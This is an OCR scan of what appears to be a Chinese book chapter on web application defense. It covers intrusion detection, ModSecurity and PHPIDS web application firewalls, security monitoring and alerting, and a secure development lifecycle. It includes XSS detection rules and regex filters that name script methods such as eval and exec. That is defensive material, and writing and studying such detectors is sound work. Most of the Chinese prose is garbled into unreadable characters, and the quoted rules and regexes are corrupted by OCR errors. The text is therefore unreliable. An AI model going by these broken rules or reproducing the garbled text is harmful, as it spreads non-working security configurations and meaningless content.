Deploy Dashboards Hostgroup 'newtest' Status Grid ]
¥ My Dashboard = 192.168.1.253 Host Performance Graph ™
¥ty Dashboards Host  Services
flome i Ping times for 192.168.1.253 / _HOST_
Empty D an 0192 168.1.91) O 70 ] R / ce
¥ add Dashlets s ed: 2011-04-08 11.35:23 88
Availabls Dashists B
= Manage Dashlets E a0
20
Network Health THET 0
Host Hearth | BN 192 lsa T
Service Healh | EEER Dok Usage | Round Trip Tim 19,55 ms last  G8.19 ms max 18,53 ms avg
Hostgroup 'linux-servers' Status Grid
Services Hosts Services
66 Critical 3Warning 14 Unknown 59 0k 1Pending Degalstsd hsdLmn.comoast.net @
2Disabled | 1 Disabled Diocalhast 200000000000
L L ST
31 0n Problem 8.0n Prablem
Hosts Hosts
1 Acknowledged 1 Disabled

& check for Updates

Fesz a2 e MR A PR o A PR R F, R PR I st o i ) T o 1
Wi, RKRAET DDOS, M AT BAHH R .

RS REFAMOGEAKARN? RO T 2 ol DA 24 s 70 ?

B B, WO DGR SES 0, DT IR I AT LR I 3 8 2 A B U, A T AN £
LA SR A LA e BP0 s S A 1 [
T RE PR L2 A IR R Sl 2 AT A T8 . A it goe — WUIRES, SIS
ZIH PR R AR R DL

18.4 A{2+m

LR e W A IDS (ONREINR S, IPS (ANEBif &%), DDOS s &%,
1F IDS XN KFIEH, Web W B KBS (RIFR WAF) MIET Ak 2581 o X%
L0 IDS K i3, WAF Ly 113 HH 2 Bt PRk R 5 4 o

IDS. WAF %535 g — M A 3 7 2 BRI E R ICAE I 25 H 10 Ak, 56 I 3 ) B vt s 10047 1
o AETTER AR, B 8751 IDS, i ModSecurity il /& —ANIEH B WAF .

ModSecurity j& Apache FJ— Module, 't AE3REXE FTH 5 1] Apache Httpd Server FJiE 3K,

1 http://www.modsecurity.org/
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IR B AR X LA SR BEATVLA, LR IR LE T SRAFAE B i AT 4

ModSecurity Phase:1
Request Headers

| (wait) |—-l posi-read-request

URI translation

ModSecurity Phase:5
Logging

ModSecurity Phase:2
Request Body

ModSecurity Phase:4
Response Body

ModSecurity #3244

ModSecurity FIFENLF-ZERE T T ) Web BCiti AT, A% ORI Ak DR 22 4 R 4k g

SecRule REQUEST COOKIES | REQUEST COOKIES NAMES | REQUEST FILENAME | ARGS NAMES | ARGS | XML: /*
"\bonkeydown\b\W*2\=" \

"phase:2,rev:'2.2.2"',capture, t:none, t:htmlEntityDecode, t:compressWhiteSpace, t:1lo
wercase,ctl:auditLogParts=+E,block,msg:'Cross-site Scripting (XSS)
Attack',id:'958410',tag: 'WEB ATTACK/XSS',tag:'WASCTC/WASC-8',tag: 'WASCTC/WASC-22"',tag
: 'OWASP_TOP_10/A2',tag:'OWASP AppSensor/IEl',tag:'PCI/6.5.1',logdata:'${TX.0}"',severi
ty:'2',setvar:'tx.msg=%{rule.msg}',6setvar:tx.xss_ score=+%{tx.critical anomaly score},
setvar:tx.anomaly score=+%{tx.critical anomaly score},setvar:tx.%{rule.id}-WEB ATTACK
/XSS-%{matched var name}=%{tx.0}"

SecRule REQUEST_COOKIESIREQUEST_COOKIES_NAMES|REQUEST_FILENAMEIARGS_NAMESIARGSIXML:/*
"\bonmousemove\b\W*2\=" \

"phase:2,rev:'2.2.2"',capture,t:none, t:htmlEntityDecode, t:compressWhiteSpace,t: 1o
wercase,ctl:auditLogParts=+E,block,msg:'Cross-site Scripting (XSS)
Attack',id:'958415',tag: 'WEB ATTACK/XSS', tag:'WASCTC/WASC-8',tag: 'WASCTC/WASC-22"',tag
: 'OWASP_TOP_10/A2',tag:'OWASP AppSensor/IEl',tag:'PCI/6.5.1',logdata:"'%{TX.0}"',severi
ty:'2',setvar:'tx.msg=%{rule.msg}',setvar:tx.xss_score=+%{tx.critical anomaly score},
setvar:tx.anomaly score=+%{tx.critical anomaly score},setvar:tx.%{rule.id}-WEB ATTACK
/XSS-%{matched var name}=%{tx.0}"

SecRule REQUEST COOKIES | REQUEST COOKIES NAMES |REQUEST FILENAME |ARGS NAMES |ARGS |XML: /*
"\blivescript:" \
"phase:2,rev:'2.2.2"',capture,t:none, t:htmlEntityDecode, t:compressWhiteSpace,t:1o
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wercase,ctl:auditLogParts=+E,block,msg: 'Cross-site Scripting (XSS)
Attack',id:'958022"',tag: 'WEB ATTACK/XSS',tag:'WASCTC/WASC-8',tag: 'WASCTC/WASC-22"',tag
: 'OWASP_TOP 10/A2',tag:'OWASP AppSensor/IEl',tag:'PCI/6.5.1',logdata:'${TX.0}"', severi
ty:'2',setvar:'tx.msg=%{rule.msg}', setvar:tx.xss score=t+%{tx.critical anomaly score},
setvar:tx.anomaly score=+%{tx.critical anomaly score},setvar:tx.%{rule.id}-WEB ATTACK
/XSS-%{matched var name}=%{tx.0}"

Ty —ANFRESE 44 1 T WAF J& PHPIDS?,

PHPIDS /&4 PHP W H B — BN RS, w5 AR R 454 00 58, 75 81E
S FARID A Be Al e, it an R 7 T BUing PHPIDS.

require once 'IDS/Init.php';
Srequest = array(
'REQUEST' => $ REQUEST,
'GET' => $_GET,
'POST' => $ POST,
"COOKIE' => $ COOKIE
)i
$init = IDS Init::init('IDS/Config/Config.ini');
$ids = new IDS Monitor (Srequest, $init);
Sresult = $ids->run();

if (!Sresult->isEmpty()) {
// Take a look at the result object
echo S$result;

}

PHPIDS RN AR 5%, e BLEMR 77 505 48 XML SO, Hedn DU B0

<filter>
<id>15</id>
<rule><![CDATA[ ([“*:\s\w, .\/2+=-]\s*) 2 (2<![a-z]\s) (?<![a-z\/ @\-\|]) (\s*return\s*)?(?:
create (?:element|attribute|textnode) | [a-z]+events?|setattribute|getelement\w+|appendc
hild|createrange|createcontextual fragment | removenode |parentnode |decodeuricomponent | \w
ettimeout|option|useragent) (2 (1) [*\ws"] | (2:\s*[*@\s\w%", .+\-]1))]1]1></rule>

<description>Detects JavaScript DOM/miscellaneous properties and
methods</description>
<tags>
<tag>xss</tag>
<tag>csrf</tag>
<tag>id</tag>
<tag>rfe</tag>
</tags>
<impact>6</impact>
</filter>
<filter>
<id>le</id>

<rule><! [CDATA[ ([**\s\w, .\/?2+=-]\s*) ? (?<! [a-mo-z]\s) (?<![a-z\/_@Q]) (\s*return\s*)?(?:al
ert|inputbox|showmodaldialog|showhelp|infinity|isnan|isnull|iterator|msgbox|executegl
obal |expression|prompt |write (?:1n) ?|confirm|dialog|urn]| (?:un) ?eval|exec|execscript|to
string|status|execute|window|unescape|navigate|jquery|getscript|extend|prototype) (? (1

2 https://phpids.org/
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) [\wS" ]| (2:\s*[~@\s\w", .:\/+\=]))]]></rule>
<description>Detects possible includes and typical script methods</description>
<tags>
<tag>xss</tag>
<tag>csrf</tag>
<tag>id</tag>
<tag>rfe</tag>
</tags>
<impact>5</impact>
</filter>

HURAESEER AL IDS 77 I, 5 SR ELAACS DL AR, 8k S iidi . RUWI L2 —A
AR, FR A SR RS . DRI IDS 7EAR 2 MR AU HRE, A2 R P 1 4%
AL BRI . N TARBRIRE, Sy Rz S A 5Tt

B T B AR AGTIN = i Ak, £ AR T BASBACAE 2 1) 22 4 ML P D B » BL A SK Tt CSRF
Ji SRS, R IR IR EE ] 3R AR B ) token 5524 1T )7 Session H1H] token S 77 —%L.
LS RIS, T RL R R HE SR S ETE SR TP ik, I, URL. M 25 AHGE B, X
Seg A HARILE R, TRAIR e 2 4B AR .

FEN A Tt 224 S, 2T 10 B HEAE, XvERESA Legm. Bt E
I, BEHERIXANE HEKSME R ME R EIEFHRT, MRS ERIITE HE
EhfE, MARANHEHAEE R ZeHERETHEGR, A% IR 2 k5%
Ao

18.5 'ZRANNRIE

IR SCHTIR, 22 A I H K2 1 e de bR (KN TA) AR S 7, TR R E LR 6 AN T 2

A AGEIN 28 28 o HEA 22 4 M 47 77 ot (0 TR DU A0 i 8 I R Al 7™ SRR JEE , S & o™ R
17 (BEvent) = “#R%” (Alert), REE ol 1 ahid A o3 i $ i 7 5o

LR T A = A
(1) PR

R AR AR IR T 3, AL A SMTP 55 @l il LUAERE IR . 24— A 2
FARAERT, WL BB APL A H BB PFRE o R BT IR S PR 22, MR A H 342
W RIAAAE € IR 22, FLEEPE IR 5585 AT RE BB IRE 2, 3 BSOS I i 2%

(R R (R A b e, RN 258 ] AR S A9 & FHSE .
(2) IM i

TR 28 IM [ APL, W] DASEEL IM R . R A W3 A O IM B, AT BRI



FA8 T wAIEE 429

—EETTURIN Mo IMREATS W PR B R U S I PR B2, (H M SROE AN AR R, A
LLB B AR E I N A e

(3) i

BT THLIE K, A 4t e D RO T () B ey 5 R I T ZE B (5
Ry BRI LI L3R AL — SRS SR S5 o

AR AR SN PR A, o IR B G AE (T IR T S A R B4R (R R AR PR 2 Ak e
ARTAERE RN A RD, DR E AR AR RN KGR -

P IREAE G, AU DOTARA THDE “ R SWNGRRE" T o SEm N R Ak R
Rz R, SRS TR A B R IR o AR 22 I T8 2 K S A
o B S N RAT A BICL, A LAk T AP B 2 i, il BRIk .

LR BN R, RN R BN NALY, XA N AR TN R R A S
AbEEL BRI AT N R R E A

AT

NN

B TR R Bk TF R TR
PRI 2% TR

VIR ARG ISYE L REIT

PR DBA

RIRLAEER

A2 AR

c 0 0 0o 0 0 0o o o

NS S

AN Y TR A N 8 R SR, D A6 I A B
PRI /AL ) 5 T B

AN S AT A, R IB SN BI2 AIE, SEAKRATINO
R T AT BANK TIRBR, BRI A KRNG5 3 5% 94 SR R
A HHBL 5 R R«

LR RN, ERNIZEMB ALK, PR ReE T RALRIWN N, AP
K, FEALEE 22 A BN, A7 AT 2 R 7 .
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—REERPZEFMNNG . NUENLKE, REmEh Tz a8t RX e, %
SR RIBUATEAE R TR, IO S22 BT AMRAT A BLEGE Bty ok 1 I M

INRFAERAEN, ERAENK, NAZSCFHE AN E P A ATIRLE, AR5 PP
MNZFAEPTIE IR LA B IR L SR N LA Rk, AR N AT 7007

“RUSAR AR EABE SRR . SN A B e S I TR SRR, R S5
ST IR) Y ER B R N, e AR (7R, AR ZURAERE A A o IX o D Ty Bk
ARATINS FEATTN,  PABS AN SR R TR SR R o R B NN R R, 5
FOT I TR A RS RGN, T A BE PR IEEE LA L 1)

RSN LR, ) P& AT ki 2], DARIESREE A 2. X2, #02
LA B T BRI T AR

18.6 /&G

AT 2B E -5k,

N AR R EE A LS8 “Find and Fix”. “Defend and Defer”. “Secure at the Source”
=R, B RPRESERATFER 2 g7 kAL

B E LR, Kove Anl Zaefmaefd itk g, e siagiisk, #4810
Rt SGE, ARE AR O AN RS R, A REEE IE A E B L



(Bt ) KRE BTN LZ VLR

W EREL LRI NG, A T#E L — g ana] 4T 2 KK, K— A LR A
S W EAMEIMEG, RRKEZMFE R B MR RFTEN, BA-MRG LR A LR
B —RABEG, EASe T JAR T T R LA IR — R R A 8] RS SR AR X A 4G R e T
L, — AT ANEAE, BRXGFELR AL, —RIE XA AR 2R ERLE
T A BN A, el KGR E . 2 @K 4R 4E. B DDOS &5,

12 BA R FHh e T LRI N 8] Bt 6, RAPAL : BANSRMT 4, MRS R,
BT R BAEE B 47

A Xe R A, TR RALIEE TR LA R, MEKN THREEF0R
B, VAL AR FE AL OWASP A3 JLF32 A7 69 Top 10 @AM List, BT ALK — BT A
ERMANSNELETN, QRFRET BN BERM, HELN TH—HFH. RERX &
AR HE, RTHRME R &R,

R, R LZFEM NS Z2NE—ABIF, TXA: I BFE RGHF—TRERZE4
#)

AR AR BRFNG W R, — A& (BIERsE EXREF,
FE LR NE) BEZIRSALAEAR S = o0 ) WA NS, BMEs, F—HFHLRTBIRIEM
S SRR E ., A TAB XA R AR, MKA T SDL, A Tarskt LA B, SDL T AR
By TARIF S 5 R A0y KA, AR SDL AT bk TAIT G B 6y K3 R ABAR T &
Ay X — B AR, FTvARIAA SDL #4F K ag6liE, €& LFRBEL LM B AT,

XA SDL ¥, ZM#HARE AR EELTE, WA THE SOMERRFRFHK
S, Pede KA AR T EWMARR, U —R, R RIE RS, RS, BB LI, %
TR EE S PIM; B bde fuzzing, MRS ELR AR, it HELAE BARE
W T ERMKIRFEE XTI L AL, feff— R, BRZGEHOFR.

B vA SDL 2 — 3 & B K I B4 R b T &0 TAE. A2 KA ZAZE L% 100%RIER A H
RNEAFI, TARTLT ZREMAS] ZL0EZABiF: LA Loty Reotisih, ik
AR REI, FREMEAEIR,

B A B AR R, W AIF S IDS. IPS, BHZ @A, LA ILA X 3 K,
FSEILIT Tk RRAA B ARG, B A IECH G EH LG, TR IDS & IPS AR A 12 & F 7k By Tk
e, W EIRM NG 0B R IR E R, AT R R T IR APk, ARSI
MAEAR IR O3 Sk ), A R RIBIZEARIE LRI TR, AT T SRR o
iR B8 IE X — B AR,

BB AR EE RGN X TR —/Eh B AR, & B AT AN AR FH, 2L

1 http://hi.baidu.com/aullik5/blog/item/de08a28a98be83759¢2fb419.html
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BEXANBIFLE S, AR EEX B Rk,
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BT RBEANAAAR: i RERADNNKHRCESES, RAHNE—AFROGRKET, £% 2150
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